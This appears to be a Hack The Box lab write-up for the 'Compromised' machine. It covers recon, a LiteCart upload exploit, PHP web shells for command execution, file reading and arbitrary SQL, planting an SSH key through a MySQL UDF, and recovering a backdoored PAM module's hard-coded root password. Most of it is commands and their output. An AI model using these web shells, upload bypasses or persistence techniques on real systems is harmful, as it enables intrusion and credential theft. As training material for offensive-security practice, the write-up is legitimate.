Details
A writeup of Compromised from Hack The Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.10.207
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-13 09:55 EST
Nmap scan report for 10.10.10.207
Host is up (0.013s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.26 seconds
User
I tried http://10.10.10.207 which redirected to http://10.10.10.207/shop/en/
This is running litecart with a known exploit https://www.exploit-db.com/exploits/45267, but it needs creds. So I setup a dirbust
I went to /backup
Then saved and extracted this file
kali@kali:~$ tar xvf a.tar.gz
shop/
shop/.htaccess
shop/index.php
[SNIP]
It seems to be a backup of the shop
kali@kali:~/shop$ ls -la
total 76
drwxr-xr-x 11 kali kali 4096 May 28 02:05 .
drwxrwxrwt 19 root root 4096 Nov 13 10:09 ..
drwxr-xr-x 24 kali kali 4096 Sep 3 07:50 admin
drwxr-xr-x 2 kali kali 4096 May 28 00:52 cache
drwxr-xr-x 2 kali kali 4096 May 28 00:39 data
drwxr-xr-x 7 kali kali 4096 May 14 2018 ext
-rw-r--r-- 1 kali kali 15086 May 28 00:39 favicon.ico
-rw-r--r-- 1 kali kali 2854 May 28 00:39 .htaccess
drwxr-xr-x 10 kali kali 4096 May 28 00:39 images
drwxr-xr-x 11 kali kali 4096 May 28 00:57 includes
-rw-r--r-- 1 kali kali 2508 May 14 2018 index.php
drwxr-xr-x 2 kali kali 4096 May 28 00:39 logs
drwxr-xr-x 4 kali kali 4096 May 14 2018 pages
-rw-r--r-- 1 kali kali 71 May 28 00:39 robots.txt
-rw-r--r-- 1 kali kali 35 May 28 02:05 .sh.php
drwxr-xr-x 4 kali kali 4096 May 29 01:00 vqmod
the .sh.php
file seems interesting
kali@kali:~/shop$ cat .sh.php
<?php system($_REQUEST['cmd']); ?>
Messing around with this, it didn't seem to work on the live version, so I moved on. In the logs directory
kali@kali:~/shop/logs$ ls -la
total 28
drwxr-xr-x 2 kali kali 4096 May 28 00:39 .
drwxr-xr-x 11 kali kali 4096 May 28 02:05 ..
-rw-r--r-- 1 kali kali 286 May 28 01:48 errors.log
-rw-r--r-- 1 kali kali 169 May 14 2018 .htaccess
-rw-r--r-- 1 kali kali 9982 May 28 00:39 http_request_last.log
-rw-r--r-- 1 kali kali 0 May 14 2018 index.html
-rw-r--r-- 1 kali kali 0 May 14 2018 not_found.log
-rw-r--r-- 1 kali kali 0 May 14 2018 performance.log
kali@kali:~/shop/logs$ cat errors.log
[28-May-2020 01:48:07 America/New_York] Notice: Undefined index: password in ~/admin/login.php on line 28
Request: GET /shop/admin/login.php HTTP/1.1
Client: 192.168.1.209 (kali-pentest.fios-router.home)
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
That is interesting, so I took a look at the login.php file
kali@kali:~/shop/admin$ cat login.php
<?php
require_once('../includes/app_header.inc.php');
document::$template = settings::get('store_template_admin');
document::$layout = 'login';
if (!empty($_GET['redirect_url'])) {
$redirect_url = (basename(parse_url($_REQUEST['redirect_url'], PHP_URL_PATH)) != basename(__FILE__)) ? $_REQUEST['redirect_url'] : document::link(WS_DIR_ADMIN);
} else {
$redirect_url = document::link(WS_DIR_ADMIN);
}
header('X-Robots-Tag: noindex');
document::$snippets['head_tags']['noindex'] = '<meta name="robots" content="noindex" />';
if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));
if (isset($_POST['login'])) {
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}
if (empty($_POST['username']) && !empty($_SERVER['PHP_AUTH_USER'])) $_POST['username'] = !empty($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
$page_login = new view();
$page_login->snippets = array(
'action' => $redirect_url,
);
echo $page_login->stitch('pages/login');
require_once vmod::check(FS_DIR_HTTP_ROOT . WS_DIR_INCLUDES . 'app_footer.inc.php');
There is a commented line to put creds in a log file, so I tested if that file exists at http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
admin : theNextGenSt0r3!~
I logged in with these at http://10.10.10.207/shop/admin/login.php
I also found a version identifier, confirming it should be vulnerable to the exploit found earlier
I saved the exploit as exploit.py and tested it
kali@kali:~$ python exploit.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/X1STV.php?c=id
I tested the shell but it didn't work. I checked the file with curl
kali@kali:~$ curl 'http://10.10.10.207/shop/admin/../vqmod/xml/X1STV.php?c=id' -vv
* Trying 10.10.10.207:80...
* Connected to 10.10.10.207 (10.10.10.207) port 80 (#0)
> GET /shop/vqmod/xml/X1STV.php?c=id HTTP/1.1
> Host: 10.10.10.207
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 13 Nov 2020 15:32:34 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.10.10.207 left intact
200 OK. So the file exists but maybe the php is blocked. So I decided to run the exploit manually. I created a file called info.php containing
<?php phpinfo() ?>
I checked the exploit code, it uploads to http://10.10.10.207/shop/admin/?app=vqmods&doc=vqmods so I went to the url to check it
It seems I need to set the content type to application/xml
too, so I uploaded my info file and caught the request in burp
I changed the application/x-php
to application/xml
And allowed the request to go through
And I went to http://10.10.10.207/shop/vqmod/xml/info.php
This worked, it also revealed my problem
The normal code execution functions are blocked. So I began to upload additional files to give myself functionality, including a file called read_file.php
kali@kali:~$ read_file.php
<?php echo file_get_contents($_GET['file']); ?>
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/read_file.php?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false
I found it weird that the mysql user had /bin/bash
as its shell. So I read the config file
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/read_file.php?file=../../includes/config.inc.php'
[SNIP]
// Database
define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');
define('DB_TABLE_PREFIX', 'lc_');
define('DB_CONNECTION_CHARSET', 'utf8');
define('DB_PERSISTENT_CONNECTIONS', 'false');
[SNIP]
With db creds, I created a new php file which allowed me to run arbitrary sql
kali@kali:~$ cat db_access.php
<?php
try {
$DB_SERVER = 'localhost';
$DB_USERNAME = 'root';
$DB_PASSWORD = 'changethis';
$mysqli = new mysqli($DB_SERVER, $DB_USERNAME, $DB_PASSWORD);
if ($mysqli->connect_errno) {
echo "Failed to get to db";
}
$sql = $_POST['query'];
echo "Running: " . $sql ."\n\n";
$result = $mysqli->query($sql);
echo "Result of query:\n";
var_dump($result);
echo "\n\n";
echo "Result of switching to assocs:\n";
while($dump = $result->fetch_assoc()) {
var_dump($dump);
}
echo "\nDone dumping";
}
catch(Exception $e) {
echo $e->getMessage();
}
?>
I tested this with
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=show databases"
Running: show databases
Result of query:
object(mysqli_result)#2 (5) {
["current_field"]=>
int(0)
["field_count"]=>
int(1)
["lengths"]=>
NULL
["num_rows"]=>
int(5)
["type"]=>
int(0)
}
Result of switching to assocs:
array(1) {
["Database"]=>
string(18) "information_schema"
}
array(1) {
["Database"]=>
string(4) "ecom"
}
array(1) {
["Database"]=>
string(5) "mysql"
}
array(1) {
["Database"]=>
string(18) "performance_schema"
}
array(1) {
["Database"]=>
string(3) "sys"
}
Done dumping
So in theory if I can use this to write an ssh key for the mysql user, I can ssh in as them. The directory would be
/var/lib/mysql/.ssh/authorized_keys
I tried various payloads including select into outfile but no luck. Eventually I checked for any mysql functions
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT * from mysql.func;"
Running: SELECT * from mysql.func;
Result of query:
object(mysqli_result)#2 (5) {
["current_field"]=>
int(0)
["field_count"]=>
int(4)
["lengths"]=>
NULL
["num_rows"]=>
int(1)
["type"]=>
int(0)
}
Result of switching to assocs:
array(4) {
["name"]=>
string(8) "exec_cmd"
["ret"]=>
string(1) "0"
["dl"]=>
string(11) "libmysql.so"
["type"]=>
string(8) "function"
}
Done dumping
A function for executing commands looks interesting
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT exec_cmd('id')" --output -
Running: SELECT exec_cmd('id')
Result of query:
object(mysqli_result)#2 (5) {
["current_field"]=>
int(0)
["field_count"]=>
int(1)
["lengths"]=>
NULL
["num_rows"]=>
int(1)
["type"]=>
int(0)
}
Result of switching to assocs:
array(1) {
["exec_cmd('id')"]=>
string(766) "uid=111(mysql) gid=113(mysql) groups=113(mysql)
"
}
Done dumping
So I tried the dropping an ssh key in thing using this. I initially tried a ssh-rsa
key, but it didn't work. Using an ssh-ed25519
did.
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')" --output -
Running: SELECT exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')
Result of query:
object(mysqli_result)#2 (5) {
["current_field"]=>
int(0)
["field_count"]=>
int(1)
["lengths"]=>
NULL
["num_rows"]=>
int(1)
["type"]=>
int(0)
}
Result of switching to assocs:
array(1) {
["exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')"]=>
string(766) ""
}
Done dumping
kali@kali:~$ ssh -i /tmp/key mysql@10.10.10.207
Last login: Fri Nov 13 17:20:39 2020 from 10.10.14.21
mysql@compromised:~$
And began to look around
mysql@compromised:~$ ls -la
total 189280
drwx------ 9 mysql mysql 4096 Nov 13 14:55 .
drwxr-xr-x 43 root root 4096 May 24 21:21 ..
-rw-r----- 1 mysql mysql 56 May 8 2020 auto.cnf
lrwxrwxrwx 1 root root 9 May 9 2020 .bash_history -> /dev/null
-rw------- 1 mysql mysql 1680 May 8 2020 ca-key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 ca.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 client-cert.pem
-rw------- 1 mysql mysql 1676 May 8 2020 client-key.pem
-rw-r--r-- 1 root root 0 May 8 2020 debian-5.7.flag
drwxr-x--- 2 mysql mysql 12288 May 28 04:39 ecom
drwx------ 3 mysql mysql 4096 May 9 2020 .gnupg
-rw-r----- 1 mysql mysql 527 Sep 12 19:55 ib_buffer_pool
-rw-r----- 1 mysql mysql 79691776 Nov 13 14:55 ibdata1
-rw-r----- 1 mysql mysql 50331648 Nov 13 14:55 ib_logfile0
-rw-r----- 1 mysql mysql 50331648 May 27 04:03 ib_logfile1
-rw-r----- 1 mysql mysql 12582912 Nov 13 16:49 ibtmp1
drwxrwxr-x 3 mysql mysql 4096 May 9 2020 .local
drwxr-x--- 2 mysql mysql 4096 May 8 2020 mysql
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
drwxr-x--- 2 mysql mysql 4096 May 8 2020 performance_schema
-rw------- 1 mysql mysql 1680 May 8 2020 private_key.pem
-rw-r--r-- 1 mysql mysql 452 May 8 2020 public_key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 server-cert.pem
-rw------- 1 mysql mysql 1680 May 8 2020 server-key.pem
drwxrwxr-x 2 mysql mysql 4096 Nov 13 17:15 .ssh
-r--r----- 1 root mysql 787180 May 13 2020 strace-log.dat
drwxr-x--- 2 mysql mysql 12288 May 8 2020 sys
An strace-log file is interesting
mysql@compromised:~$ grep password strace-log.dat
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
So I had a new password of
3*NLJE32I$Fe
I tried this for the other users
sysadmin
red
And it worked for sysadmin
kali@kali:~$ ssh sysadmin@10.10.10.207
sysadmin@10.10.10.207's password:
Last login: Thu Sep 3 11:47:43 2020 from 10.10.14.2
sysadmin@compromised:~$
sysadmin@compromised:~$ cat user.txt
[REDACTED
Root
I spent a while enumerating this box, before returning to the theme of following in the footsteps of someone who has already compromised it. So I looked for recently modified files (although "recent" taken to mean a time near when the box image was created rather than when I was working on it)
sysadmin@compromised:~$ find / -newermt "2020-04-14" -printf "%T@ %Tc %p\n" 2>/dev/null | grep -v sys| grep -v proc | grep -v dev |sort -n
[SNIP]
1598844317.4559916850 Mon 31 Aug 2020 03:25:17 AM UTC /lib/x86_64-linux-gnu/security/.pam_unix.so
1598844357.6079903490 Mon 31 Aug 2020 03:25:57 AM UTC /lib/x86_64-linux-gnu/security/pam_unix.so
1598844369.3759899570 Mon 31 Aug 2020 03:26:09 AM UTC /lib/x86_64-linux-gnu/security
[SNIP]
The modification of pam is interesting as it is a file used in auth and a fairly common method of backdooring a machine
sysadmin@compromised:/lib/x86_64-linux-gnu/security$ ls -la
[SNIP]
-rw-r--r-- 1 root root 198440 Aug 31 03:25 .pam_unix.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 pam_unix.so
-rw-r--r-- 1 root root 14448 Feb 27 2019 pam_userdb.so
[SNIP]
I exfilled the file
kali@kali:~$ scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/
And inspected it in ghidra, inside the pam_sm_authenticate
method I found
If you try to login as root it allows use of a second hard coded backdoor password
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
Which is
E3U~eklz
-2m28vn
Account for endianness
zlke~U3E
nv82m2-
Making the final password
zlke~U3Env82m2-
So I used this to su
sysadmin@compromised:/lib/x86_64-linux-gnu/security$ su
Password:
root@compromised:/lib/x86_64-linux-gnu/security#
And grabbed the flag
root@compromised:~# ls -la
total 40
drwx------ 5 root root 4096 Sep 9 10:33 .
drwxr-xr-x 24 root root 4096 Sep 9 12:02 ..
lrwxrwxrwx 1 root root 9 May 13 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3139 May 13 2020 .bashrc
drwx------ 2 root root 4096 May 13 2020 .cache
drwx------ 3 root root 4096 May 13 2020 .gnupg
drwxr-xr-x 3 root root 4096 May 13 2020 .local
-rw------- 1 root root 0 Aug 30 21:44 .mysql_history
-rw-r--r-- 1 root root 148 May 13 2020 .profile
-r-------- 1 root root 33 Nov 13 14:57 root.txt
-rw------- 1 root root 1447 Sep 9 10:33 .viminfo
-rw-r--r-- 1 root root 291 May 27 03:35 .wget-hsts
root@compromised:~# cat root.txt
[REDACTED]